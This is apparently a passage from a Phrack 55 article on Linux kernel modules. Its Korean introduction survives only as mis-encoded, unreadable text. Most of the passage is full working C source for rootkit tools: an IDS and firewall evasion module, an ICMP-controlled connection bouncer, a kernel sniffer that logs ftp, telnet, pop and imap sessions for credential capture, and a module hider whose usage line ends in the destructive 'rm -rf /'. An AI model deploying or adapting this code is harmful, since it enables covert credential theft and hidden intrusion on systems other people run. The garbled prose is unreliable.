¸øÇÏ°Ô ¸·°í, /dev/kmemÀ» ÀбâÀü¿ë µð¹ÙÀ̽º·Î ¹Ù²Ù¾î¹ö¸®´Â ¸ðµâÀÌ´Ù.(Ä¿³Î ¸Þ¸ð¸®´Â ring 0 ±ÇÇÑÀÌ ÀÖ¾î¾ß¸¸ Á¢±ÙÇÒ ¼ö ÀÖ´Ù.) µû¶ó¼­ Ä¿³Î ·çƾÀÌ ¿ÜºÎ¿¡ ÀÇÇØ Á¢±Ù °¡´ÉÇØÁöÁö ¾Ê´Â ÇÑ, Ä¿³Î ¸Þ¸ð¸®¸¦ °Çµå¸± ¼ö ÀÖ´Â °ÍÀº ¿ÀÁ÷ Ä¿³Î »ÓÀÌ´Ù. À̰ÍÀÌ °áÄÚ »õ·Î¿î °³³äÀÌ ¾Æ´Ï¶ó´Â °ÍÀ» µ¶ÀÚ ¿©·¯ºÐÀº ¾Ë¾Æ¾ß ÇÑ´Ù. SecurelevelÀº Ä¿³Î 2.0.x¿¡ Á¶±Ý ±¸ÇöµÇ¾î ÀÖ°í, /dev/kmem, /dev/mem, /dev/hd* ¿Í °°Àº ÇÙ½É µð¹ÙÀ̽º¿¡ Á÷Á¢ ¾²Áö ¸øÇÏ°Ô ÇÏ´Â ¸ÚÁø ±â´ÉÀ» Áö´Ï°í ÀÖ´Ù. 2.2.x¿¡´Â ±¸ÇöµÇ¾î ÀÖÁö ¾Ê±â ¶§¹®¿¡, ¼³¸íÇÑ ¹Ù¿Í °°ÀÌ ¸ðµâ·Î¼­ Á¸ÀçÇÏ´Â °ÍÀÌ ÁÁÀ» °ÍÀÌ´Ù. °ü¸®ÀÚ°¡ ¸ðµâÀ» ¿Ã¸®¸é¼­ ½Ã½ºÅÛ º¸¾ÈÀ» Á¶±Ý ´õ °­È­ÇÏ°í ½Í´Ù¸é, ¹æ±Ý ¼³¸íÇÑ ¸ðµâ 'lock'À» ¿Ã¸®¸é µÈ´Ù. ±×·³ ´õ ÀÌ»óÀÇ Ä¿³Î ÇØÅ·Àº ¾ø´Ù. À̰ÍÀº ¹°·Ð ´Ù¸¥ ¹æ¹ý°ú º´ÇàµÇ¾î¾ß ÇÑ´Ù. ÁøÂ¥ º¸¾È¿¡ °­ÇÑ ½Ã½ºÅÛÀº ÀÌ ¸ðµâÀ» ¿Ã·Á ³õ°í¼­ Ä¿³Î À̹ÌÁö¸¦ Ç÷ÎÇÇ µð½ºÅ© µå¶óÀ̺ê¿Í °°Àº ÀбâÀü¿ë ¸Åü¿¡ ÀúÀåÇϰí, ¶Ç lilo¿Í °°Àº ºÎÆ® ·Î´õ¸¦ ¾²Áö ¾ÊÀ» °ÍÀÌ´Ù. CMOS µ¥ÀÌÅÍ º¸¾Èµµ °í·ÁÇÒ Çʿ䰡 ÀÖ´Ù. ±×·¯¸é Ç÷ÎÇǸ¦ ÀÌ¿ëÇÏ¿© ºÎÆ®ÇÏ¸é µÈ´Ù. ÃÖ±Ù IRC(liquidk ä³Î)¿¡¼­ ³íÀÇµÈ ³»¿ë°ú °°ÀÌ, rooted ½Ã½ºÅÛ¿¡¼­´Â CMOS º¸¾ÈÀÌ ¾î·Á¿öº¸ÀÏ ¼ö ÀÖ´Ù. ÇÏÁö¸¸, ±×°ÍÀº ÀÌ ±ÛÀÇ ÁÖÁ¦¿¡¼­ ¹þ¾î³­´Ù. ÀÌ ¾ÆÀ̵ð¾î´Â ¸ðµâÀ» »ç¿ëÇÏÁö ¾Ê°í Ä¿³Î ³»ºÎ¿¡¼­ ¹Ù·Î ±¸Çö °¡´ÉÇÒ °ÍÀÌ´Ù. 2.2.x¿¡¼­ ¸Å¿ì ¾ÈÀüÇÑ ·¹º§±îÁö ±¸ÇöµÇ¾î ÀÌ ±â´ÉÀ» º¼ ¼ö Àֱ⸦ ±â´ëÇÑ´Ù. :) ----[ Âü°íÀÚ·á + The Linux Kernel by David A. Rusling + TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley) + Phrack Issue 52, article 18 (P52-18) by plaguez. + Windows 98 Unleashed by Stev...¿À, ÀÌ·±. ÀÌ Ã¥Àϸ®°¡ ¾ø´Âµ¥... :-) ----[ »ç·Ê µÎ ÀúÀÚ ¸ðµÎ ¾Æ·¡ ºÐµé¿¡°Ô °¨»çµå¸³´Ï´Ù: + HPT (http://www.hackers-pt.org)ÀÇ ¼ö¸¹Àº ¸ÛûÀ̵é(ÇìÇì). + pmsac@toxyn.org Ä¿³Î ±â¹Ý ½º´ÏÆÛ¿¡ ´ëÇÑ ¾ÆÀ̵ð¾î Á¦°ø°ú Áö¿ø¿¡ ´ëÇØ. + LiquidK OTP °³³ä°ú ¿ì¸®ÀÇ '¹«Àû' °³³ä ¸î°³¸¦ Á¦°øÇØÁֽŠ°Í¿¡ ´ëÇØ. :) + Æ÷¸£Åõ°¥ÀÇ leet hackers ¸ðµÎ¿¡°Ô. ´©±ºÁö ´Ù ¾Æ½Ç °Ì´Ï´Ù. The scene shall be one again!! :) ----[ ÄÚµå: OTP <++> P55/Linux-lkm/OTP/otp.c !bf8d47e0 /* * Obscure Transport Protocol * * Goal: Change TCP behavior to evade IDS and firewall policies. * * lifeline (c) 1999 * * * gcc -O6 -c otp.c -I/usr/src/linux/include * insmod otp.o dev=eth0 ip=123.123.123.123 * * In ip= use only numerical dotted ip's!! * Btw, this is the ip of the other machine that also has the module. * * Load this module in both machines putting in the ip= argument each other's * machine numerical dotted ip. * * Oh, and don't even think about flaming me if this fucks up your machine, * it works fine on mine with kernel 2.2.5. * This tool stands on its own. I'm not responsible for any damage caused by it. * * You will probably want to make some arrangements with the #define's below. * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* Define here if you want to swap ports also */ #define REALPORT 23 /* port you which to communicate */ #define FAKEPORT 80 /* port that appears on the wire */ char *dev, *ip; MODULE_PARM(dev, "s"); MODULE_PARM(ip, "s"); struct device *d; struct packet_type otp_proto; __u32 in_aton(const char *); /* Packet Handler Function */ int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { unsigned long int magic_ip; unsigned int fin = skb->h.th->fin; unsigned int syn = skb->h.th->syn; magic_ip = in_aton(ip); if ((skb->pkt_type == PACKET_HOST || skb->pkt_type == PACKET_OUTGOING) && (skb->nh.iph->saddr == magic_ip || skb->nh.iph->daddr == magic_ip) && (skb->h.th->source == FAKEPORT) || (skb->h.th->dest == FAKEPORT)) { if (skb->h.th->source == FAKEPORT) skb->h.th->source = htons(REALPORT); if (skb->h.th->dest == FAKEPORT) skb->h.th->dest = htons(REALPORT); if (skb->h.th->fin == 1) { skb->h.th->fin = 0; skb->h.th->syn = 1; goto bye; } if (skb->h.th->syn == 1) { skb->h.th->fin = 1; skb->h.th->syn = 0; } } bye: kfree_skb(skb); return 0; } /* * Convert an ASCII string to binary IP. */ __u32 in_aton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } int init_module() { if(!ip) { printk("Error: missing end-host ip.\n"); printk("Usage: insmod otp.o ip=x.x.x.x [dev=devname]\n\n"); return -ENXIO; } if (dev) { d = dev_get(dev); if (!d) { printk("Did not find device %s!\n", dev); printk("Using all known devices..."); } else { printk("Using device %s, ifindex: %i\n", dev, d->ifindex); otp_proto.dev = d; } } else printk("Using all known devices(wildcarded)...\n"); otp_proto.type = htons(ETH_P_ALL); otp_proto.func = otp_func; dev_add_pack(&otp_proto); return(0); } void cleanup_module() { dev_remove_pack(&otp_proto); printk("OTP unloaded\n"); } <--> <++> P55/Linux-lkm/Bouncer/brules.c !677bd859 /* * Kernel Bouncer - Rules Client * brules.c * * lifeline|arai (c) 1999 * arai@hackers-pt.org * * Btw, needs libnet (http://www.packetfactory.net/libnet). * Be sure to use 0.99d or later or this won't work due to a bug in previous versions. * * Compile: gcc brules.c -lnet -o brules * Usage: ./brules srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule * * srcaddr - source address * dstaddr - destination adress (host with the bouncer loaded) * password - magic string for authentication with module * srcaddr-rule - source address of new bouncing rule * dstaddr-rule - destination address of new bouncing rule * dstport-rule - destination port of new bouncing rule * protocol-rule - protocol of new bouncing rule (tcp, udp or icmp), 0 deletes all existing rules * * Example: * # ./brules 195.138.10.10 host.domain.com lifeline 192.10.10.10 202.10.10.10 23 tcp * * This well tell 'host.domain.com' to redirect all connections to port 23 * from '192.10.10.10', using TCP as the transport protocol, to the same port, * using the same protocol, of host '202.10.10.10'. * Of course, host.domain.com has to be with the module loaded. * * Copyright (c) 1999 lifeline * All rights reserved. * */ #include #include #define MAGIC_STR argv[3] int main(int argc, char **argv) { struct rule { u_long srcaddr, dstaddr; u_char protocol; u_short destp; struct rule *next; } *rules; unsigned char *buf; u_char *payload; int c, sd, payload_s={0}; if (argc != 8) { printf("Kernel Bouncer - Rules Client\n"); printf("arai|lifeline (c) 1999\n\n"); printf("Thanks to Kossak for the original idea.\n"); printf("Usage: %s srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule\n", argv[0]); exit(0); } rules = (struct rule *)malloc(sizeof(struct rule)); rules->srcaddr = libnet_name_resolve(argv[4], 1); rules->dstaddr = libnet_name_resolve(argv[5], 1); rules->destp = htons(atoi(argv[6])); rules->protocol = atoi(argv[7]); if(strcmp(argv[7], "tcp")==0)rules->protocol = IPPROTO_TCP; if(strcmp(argv[7], "udp")==0)rules->protocol = IPPROTO_UDP; if(strcmp(argv[7], "icmp")==0)rules->protocol = IPPROTO_ICMP; rules->next = 0; payload = (u_char *)malloc(strlen(MAGIC_STR) + sizeof(struct rule)); memcpy(payload, MAGIC_STR, strlen(MAGIC_STR)); memcpy((struct rule *)(payload + strlen(MAGIC_STR)), rules, sizeof(struct rule)); payload_s = strlen(MAGIC_STR) + sizeof(struct rule); buf = malloc(8 + IP_H + payload_s); if((sd = open_raw_sock(IPPROTO_RAW)) == -1) { fprintf(stderr, "Cannot create socket\n"); exit(EXIT_FAILURE); } libnet_build_ip(8 + payload_s, 0, 440, 0, 64, IPPROTO_ICMP, name_resolve(argv[1], 1), name_resolve(argv[2], 1), NULL, 0, buf); build_icmp_echo(8, 0, 242, 55, payload, payload_s, buf + IP_H); if(libnet_do_checksum(buf, IPPROTO_ICMP, 8 + payload_s) == -1) { fprintf(stderr, "Can't do checksum, packet may be invalid.\n"); } #ifdef DEBUG printf("type -> %d\n", *(buf+20)); printf("code -> %d\n", *(buf+20+1)); printf("checksum -> %d\n", *(buf+20+2)); #endif c = write_ip(sd, buf, 8 + IP_H + payload_s); if (c < 8 + IP_H + payload_s) { fprintf(stderr, "Error writing packet.\n"); exit(EXIT_FAILURE); } #ifdef DEBUG printf("%s : %p\n", buf+28, buf+28); #endif printf("Kernel Bouncer - Rules Client\n"); printf("lifeline|arai (c) 1999\n\n"); printf("Rules packet sent to %s.\n", argv[2]); free(rules); free(payload); free(buf); } <--> <++> P55/Linux-lkm/Bouncer/bouncer.c !f3ea817c /* * krnbouncer.c - A kernel based bouncer module * * by kossak * kossak@hackers-pt.org || http://www.hackers-pt.org/kossak * * This file is licensed by the GNU General Public License. * * Tested on a 2.2.5 kernel. Should compile on others with minimum fuss. * However, I'm not responsible for setting fire on your computer, loss of * mental health, bla bla bla... * * CREDITS: - Plaguez and Halflife for an excelent phrack article on * kernel modules. * - the kernel developers for a great job (no irony intended). * * USAGE: gcc -O2 -DDEBUG -c krnbouncer.c -I/usr/src/linux/include ; * insmod krnsniff.o [dev=] * * TODO : - manage to send a packet thru another device than the one * the packet is originating from (difficult, but not important) * - implement a timeout for the bounce rules * - the rules should store a source port for checking the * connection (important) * - turn this into a totally protocol independent IP based * bouncer (quite a challenge :)) * * NOTE : don't try to use this module to bounce connections of different * types, such as bouncing packets from a ppp device to an ethernet * device and vice-versa. That was not tested and may crash your * machine. */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DBGPRN1(X) if (debug) printk(KERN_DEBUG X) #define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y); #define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z); #define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W); #define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V); #define TRUE -1 #define FALSE 0 #define MAXRULES 8 /* Max bouncing rules. */ #define RULEPASS "kossak" /* #define SOURCEIP "a.b.c.d" #define DESTIP "e.f.g.h" */ /* global data */ int debug, errno; struct rule { __u32 source, dest; __u8 proto; __u16 destp; /* TCP and UDP only */ struct rule *next; }; /* this is a linked list */ struct rule *first_rule; char *dev; MODULE_PARM(dev, "s"); /* gets the parameter dev= */ struct device *d; struct packet_type bounce_proto; /* inicial function declarations */ char *in_ntoa(__u32 in); __u32 in_aton(const char *str); int filter(struct sk_buff *); int m_strlen(char *); char *m_memcpy(char *, char *, int); int m_strcmp(char *, const char *); void process_pkt_in(struct sk_buff *); void bounce_and_send(struct sk_buff *, __u32 new_host); void clear_bounce_rules(void); void process_bounce_rule(struct rule *); /* our packet handler */ int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { switch (skb->pkt_type) { case PACKET_OUTGOING: break; case PACKET_HOST: process_pkt_in(skb); break; case PACKET_OTHERHOST: break; default: kfree_skb(skb); return 0; } } void bounce_and_send(struct sk_buff *skb, __u32 new_host) { struct tcphdr *th; struct iphdr *iph; unsigned char dst_hw_addr[6]; unsigned short size; int doff = 0; int csum = 0; int offset; th = skb->h.th; iph = skb->nh.iph; skb->pkt_type = PACKET_OUTGOING; /* this packet is no longer for us */ /* we swap the ip addresses */ iph->saddr = skb->nh.iph->daddr; iph->daddr = new_host; size = ntohs(iph->tot_len) - (iph->ihl * 4); doff = th->doff << 2; /* calculate checksums again... bleh! :P */ skb->csum = 0; csum = csum_partial(skb->h.raw + doff, size - doff, 0); skb->csum = csum; /* data checksum */ th->check = 0; th->check = csum_tcpudp_magic( iph->saddr, iph->daddr, size, iph->protocol, csum_partial(skb->h.raw, doff, skb->csum) ); /* tcp or udp checksum */ ip_send_check(iph); /* ip checksum */ /* Now change the hardware MAC address and rebuild the hardware * header. no need to allocate space in the skb, since we're dealing * with packets coming directly from the driver, with all fields * complete. */ m_memcpy(dst_hw_addr, skb->mac.ethernet->h_source, 6); if (skb->dev->hard_header) skb->dev->hard_header( skb, skb->dev, ntohs(skb->protocol), dst_hw_addr, skb->dev->dev_addr, skb->len); else DBGPRN1("no hardware-header build routine found\n"); /* send it anyway! lets hope nothing breaks :) */ dev_queue_xmit(skb_clone(skb, GFP_ATOMIC)); } void process_bounce_rule(struct rule *ptr) { struct rule *new_rule; if ( ptr->proto == 0 ) { DBGPRN1("protocol ID is 0, clearing bounce rules...\n"); clear_bounce_rules(); } else { new_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC); m_memcpy ((char *)new_rule,(char *)ptr, sizeof(struct rule)); new_rule->next = NULL; /* trust no one :) */ if (!first_rule) { first_rule = new_rule; /* not 100% efficient here... */ } else { ptr = first_rule; while (ptr->next) ptr = ptr->next; ptr->next = new_rule; } } } /* this is untested code, dunno if kfree() works as advertised. */ void clear_bounce_rules () { struct rule *ptr; while (first_rule) { ptr = first_rule->next; kfree(first_rule); first_rule = ptr; } } void process_pkt_in(struct sk_buff *skb) { char *data; int i, datalen; struct rule *ptr; __u32 host; /* fix some pointers */ skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4; /* This is an icmp packet, and may contain a bouncing rule for us. */ if (skb->nh.iph->protocol == IPPROTO_ICMP) { if (skb->h.icmph->type != ICMP_ECHO) return; data = (skb->h.raw) + sizeof(struct icmphdr); datalen = skb->len; if (m_strcmp(data, RULEPASS)) { DBGPRN1("Found a valid cookie, checking size...\n"); i = m_strlen(RULEPASS); if (sizeof(struct rule) < datalen - i) { DBGPRN1("Valid size, editing rules...\n"); process_bounce_rule((struct rule *)(data+i)); } return; } } ptr = first_rule; /* search the existing rules for this packet */ while (ptr) { if (skb->nh.iph->protocol != ptr->proto) { ptr = ptr->next; continue; } if (skb->nh.iph->saddr == ptr->source && skb->h.th->dest == ptr->destp) { bounce_and_send(skb, ptr->dest); return; } if (skb->nh.iph->saddr == ptr->dest && skb->h.th->source == ptr->destp) { bounce_and_send(skb, ptr->source); return; } ptr = ptr->next; } } /* init_module */ int init_module(void) { #ifdef DEBUG debug = TRUE; #else debug = FALSE; #endif first_rule = NULL; /* this is for testing purposes only first_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC); first_rule->source = in_aton(SOURCEIP); first_rule->dest = in_aton(DESTIP); first_rule->proto = IPPROTO_TCP; first_rule->destp = htons(23); first_rule->next = NULL; */ if (dev) { d = dev_get(dev); if (!d) { DBGPRN2("Did not find device %s!\n", dev); DBGPRN1("Using all known devices..."); } else { DBGPRN3("Using device %s, ifindex: %i\n", dev, d->ifindex); bounce_proto.dev = d; } } else DBGPRN1("Using all known devices...\n"); bounce_proto.type = htons(ETH_P_ALL); /* this one just gets us incoming packets */ /* bounce_proto.type = htons(ETH_P_IP); */ bounce_proto.func = pkt_func; dev_add_pack(&bounce_proto); return(0); } void cleanup_module(void) { dev_remove_pack(&bounce_proto); DBGPRN1("Bouncer Unloaded\n"); } /* boring yet useful functions follow... */ /* Convert an ASCII string to binary IP. */ __u32 in_aton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } /* the other way around. */ char *in_ntoa(__u32 in) { static char buff[18]; char *p; p = (char *) ∈ sprintf(buff, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff); } int m_strcmp(char *trial, const char *correct) { char *p; const char *i; p = trial; i = correct; while (*i) { if (!p) return 0; if (*p != *i) return 0; p++; i++; } return 1; } char *m_memcpy(char *dest, char *src, int size) { char *i, *p; p = dest; i = src; while (size) { *p = *i; i++; p++; size--; } return dest; } int m_strlen(char *ptr) { int i = 0; while (*ptr) { ptr++; i++; } return i; } /* EOF */ <--> <++> P55/Linux-lkm/krnsniff/krnsniff.c !4adeadb3 /* * krnsniff.c v0.1a - A kernel based sniffer module * * by kossak * kossak@hackers-pt.org || http://www.hackers-pt.org/kossak * * This file is licensed by the GNU General Public License. * * Tested on a 2.2.5 kernel. Should compile on others with minimum fuss. * However, I'm not responsible for setting fire on your computer, loss of * mental health, bla bla bla... * * CREDITS: - Mike Edulla's ever popular linsniffer for some logging ideas. * - Plaguez and Halflife for an excelent phrack article on * kernel modules. * - the kernel developers for a great job (no irony intended). * * USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ; * insmod krnsniff.o [dev=] * * TODO : - implement a timeout feature (IMPORTANT) * - better support for certain stupid ppp devices that don't set * dev->hard_header_len correctly. * - Parallel logging (like linsniff.c, this thing is still just * logging one connection at a time). * - fix strange kmem grows kernel bitchings (FIXED) ...i think * - store the logs in kernel memory and send them and clear them * when a magic packet is sent. * - some weird shit happens in my LAN on incoming connections * that fucks up the logs a bit, but this was not confirmed * on other tests. It has to do with packets not increasing seq * numbers, I think. * - This wasn't tested on a promisc system, but it should work * without almost no modifications. * * NOTE: the purpose of this module is to expose the dangers of a rooted * system. It is virtually impossible to detect, if used with a module * hidder. * This could also be developed further to become a simple and easy way * to detect unauthorized network intrusions. * * Oh, and script kiddies, don't read the FUCKING source, I hope you * have shit loads of kernel faults and you lose all your 31337 0wn3d * s1t3z... grrr. * * look at least at the LOGFILE define below before compiling. */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* from a piece of pmsac's code... this is pratic :) */ #define DBGPRN1(X) if (debug) printk(KERN_DEBUG X) #define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y); #define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z); #define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W); #define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V); #define TRUE -1 #define FALSE 0 #define CAPTLEN 512 /* no. of bytes to log */ /* do a 'touch LOGFILE' _before_ you load the module. */ #define LOGFILE "/tmp/sniff.log" /* global data */ int debug, errno, out_c, in_c, thru_c; /* packet counters */ struct t_data { char content[1500]; unsigned long seq; struct t_data *next; }; struct { unsigned short active; unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; unsigned long totlen; struct t_data *data; } victim; char *dev; MODULE_PARM(dev, "s"); /* gets the parameter dev= */ struct device *d; struct packet_type sniff_proto; /* inicial function declarations */ char *in_ntoa(__u32 in); int filter(struct sk_buff *); void m_strncpy(char *, char *, int); int m_strlen(char *); void start_victim(struct sk_buff *); void write_victim(struct sk_buff *); void end_victim(void); /* our packet handler */ int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { /* fix some pointers */ skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4; skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2); skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2); switch (skb->pkt_type) { case PACKET_OUTGOING: out_c++; /* dont count with the hardware header * since my stupid ippp device does not set this... * add more devices here. */ if(strstr(dv->name, "ppp")) skb->len -= 10; else skb->len -= dv->hard_header_len; break; case PACKET_HOST: in_c++; skb->len -= dv->hard_header_len; break; case PACKET_OTHERHOST: thru_c++; skb->len -= dv->hard_header_len; break; default: kfree_skb(skb); return 0; } if(filter(skb)) { kfree_skb(skb); return 0; } /* rare case of NULL's in buffer contents */ if (m_strlen(skb->data) < skb->len) skb->len = m_strlen(skb->data); if (skb->len > CAPTLEN - victim.totlen) skb->len = CAPTLEN - victim.totlen; if (skb->len) write_victim(skb); kfree_skb(skb); return 0; } int filter (struct sk_buff *skb) { /* this is the filter function. it checks if the packet is worth logging */ struct t_data *ptr, *i; int port = FALSE; if (skb->nh.iph->protocol != IPPROTO_TCP) return TRUE; /* change to your favourite services here */ if (ntohs(skb->h.th->dest) == 21 || ntohs(skb->h.th->dest) == 23 || ntohs(skb->h.th->dest) == 110 || ntohs(skb->h.th->dest) == 143 || ntohs(skb->h.th->dest) == 513) port = TRUE; if (victim.active) { if((skb->h.th->dest != victim.dport) || (skb->h.th->source != victim.sport) || (skb->nh.iph->saddr != victim.saddr) || (skb->nh.iph->daddr != victim.daddr)) return TRUE; if (victim.totlen >= CAPTLEN) { ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC); if(!ptr) { DBGPRN1("Out of memory\n"); end_victim(); return; } m_strncpy(ptr->content, "\n\n*** END : CAPLEN reached ---\n", 50); ptr->next = NULL; i = victim.data; while(i->next) i = i->next; i->next = ptr; end_victim(); return TRUE; } if(skb->h.th->rst) { ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC); if(!ptr) { DBGPRN1("Out of memory\n"); end_victim(); return; } m_strncpy(ptr->content, "\n\n*** END : RST caught ---\n", 50); ptr->next = NULL; i = victim.data; while(i->next) i = i->next; i->next = ptr; end_victim(); return TRUE; } if(skb->h.th->fin) { ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC); if(!ptr) { DBGPRN1("Out of memory\n"); end_victim(); return; } m_strncpy(ptr->content, "\n\n*** END : FIN caught ---\n", 50); ptr->next = NULL; i = victim.data; while(i->next) i = i->next; i->next = ptr; end_victim(); return TRUE; } } else { if (port && skb->h.th->syn) start_victim (skb); else return TRUE; } return FALSE; } void start_victim(struct sk_buff *skb) { victim.active = TRUE; victim.saddr = skb->nh.iph->saddr; victim.daddr = skb->nh.iph->daddr; victim.sport = skb->h.th->source; victim.dport = skb->h.th->dest; victim.data = kmalloc(sizeof(struct t_data), GFP_ATOMIC); /* we're a module, we can't afford to crash */ if(!victim.data) { DBGPRN1("Out of memory\n"); end_victim(); return; } victim.data->seq = ntohl(skb->h.th->seq); victim.data->next = NULL; sprintf(victim.data->content, "\n\n*** [%s:%u] ---> [%s:%u]\n\n", in_ntoa(victim.saddr), ntohs(victim.sport), in_ntoa(victim.daddr), ntohs(victim.dport)); victim.totlen = m_strlen(victim.data->content); } void write_victim(struct sk_buff *skb) { struct t_data *ptr, *i; ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC); if(!ptr) { DBGPRN1("Out of memory\n"); end_victim(); return; } ptr->next = NULL; ptr->seq = ntohl(skb->h.th->seq); m_strncpy(ptr->content, skb->data, skb->len); /* * putting it in the ordered list. */ i = victim.data; if(ptr->seq < i->seq) { /* * we caught a packet "younger" than the starting SYN. * Likely? no. Possible? yep. forget the bastard. */ kfree(ptr); return; } /* actual ordering of tcp packets */ while (ptr->seq >= i->seq) { if (ptr->seq == i->seq) return; /* seq not incremented (no data) */ if (!i->next) break; if (i->next->seq > ptr->seq) break; i = i->next; } ptr->next = i->next; i->next = ptr; victim.totlen += m_strlen(ptr->content); return; } void end_victim(void) { /* * Im now saving the data to a file. This is mainly BSD's process accounting * code, as seen in the kernel sources. */ struct t_data *ptr; struct file *file = NULL; struct inode *inode; mm_segment_t fs; file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0); if (IS_ERR(file)) { errno = PTR_ERR(file); DBGPRN2("error %i\n", errno); goto vic_end; } if (!S_ISREG(file->f_dentry->d_inode->i_mode)) { fput(file); goto vic_end; } if (!file->f_op->write) { fput(file); goto vic_end; } fs = get_fs(); set_fs(KERNEL_DS); inode = file->f_dentry->d_inode; down(&inode->i_sem); while (victim.data) { file->f_op->write(file, (char *)&victim.data->content, m_strlen(victim.data->content), &file->f_pos); ptr = victim.data; victim.data = victim.data->next; kfree(ptr); } up(&inode->i_sem); set_fs(fs); fput(file); DBGPRN1("Entry saved\n"); vic_end: victim.saddr = 0; victim.daddr = 0; victim.sport = 0; victim.dport = 0; victim.active = FALSE; victim.totlen = 0; victim.data = NULL; } /* trivial but useful functions below. Damn, I miss libc :) */ char *in_ntoa(__u32 in) { static char buff[18]; char *p; p = (char *) ∈ sprintf(buff, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff); } void m_strncpy(char *dest, char *src, int size) { char *i, *p; p = dest; for(i = src; *i != 0; i++) { if (!size) break; size--; *p = *i; p++; } *p = '\0'; } int m_strlen(char *ptr) { int i = 0; while (*ptr) { ptr++; i++; } return i; } /* init_module */ int init_module(void) { #ifdef DEBUG debug = TRUE; #else debug = FALSE; #endif in_c = out_c = thru_c = 0; victim.saddr = 0; victim.daddr = 0; victim.sport = 0; victim.dport = 0; victim.active = FALSE; victim.data = NULL; if (dev) { d = dev_get(dev); if (!d) { DBGPRN2("Did not find device %s!\n", dev); DBGPRN1("Sniffing all known devices..."); } else { DBGPRN3("Sniffing device %s, ifindex: %i\n", dev, d->ifindex); sniff_proto.dev = d; } } else DBGPRN1("Sniffing all known devices...\n"); sniff_proto.type = htons(ETH_P_ALL); /* this one just gets us incoming packets */ /* sniff_proto.type = htons(ETH_P_IP); */ sniff_proto.func = pkt_func; dev_add_pack(&sniff_proto); return(0); } void cleanup_module(void) { dev_remove_pack(&sniff_proto); end_victim(); DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n", in_c, out_c, thru_c); DBGPRN1("Sniffer Unloaded\n"); } /* EOF */ <--> <++> P55/Linux-lkm/modhide/modhide.c !c9a65c89 /* * generic module hidder, for 2.2.x kernels. * * by kossak (kossak@hackers-pt.org || http://www.hackers-pt.org/kossak) * * This module hides the last module installed. With little mind work you can * put it to selectivly hide any module from the list. * * insmod'ing this module will allways return an error, something like device * or resource busy, or whatever, meaning the module will not stay installed. * Run lsmod and see if it done any good. If not, see below, and try until you * suceed. If you dont, then the machine has a weird compiler that I never seen. * It will suceed on 99% of all intel boxes running 2.2.x kernels. * * The module is expected not to crash when it gets the wrong register, but * then again, it could set fire to your machine, who knows... * * Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52. * The thing about this on 2.2.x is that kernel module symbol information is * also referenced by this pointer, so this hides all of the stuff :) * * DISCLAIMER: If you use this for the wrong purposes, your skin will fall off, * you'll only have sex with ugly women, and you'll be raped in * jail by homicidal maniacs. * * Anyway, enjoy :) * * USAGE: gcc -c modhide.c ; insmod modhide.o ; lsmod ; rm -rf / */ #define MODULE #define __KERNEL__ #include #include #include int init_module(void) { /* * if at first you dont suceed, try: * %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp * I cant make this automaticly, because I'll fuck up the registers If I do * any calculus here. */ register struct module *mp asm("%ebx"); if (mp->init == &init_module) /* is it the right register? */ if (mp->next) /* and is there any module besides this one? */ mp->next = mp->next->next; /* cool, lets hide it :) */ return -1; /* the end. simple heh? */ } /* EOF */ <--> ----[ EOF --lrZ03NoBR/3+SXJZ--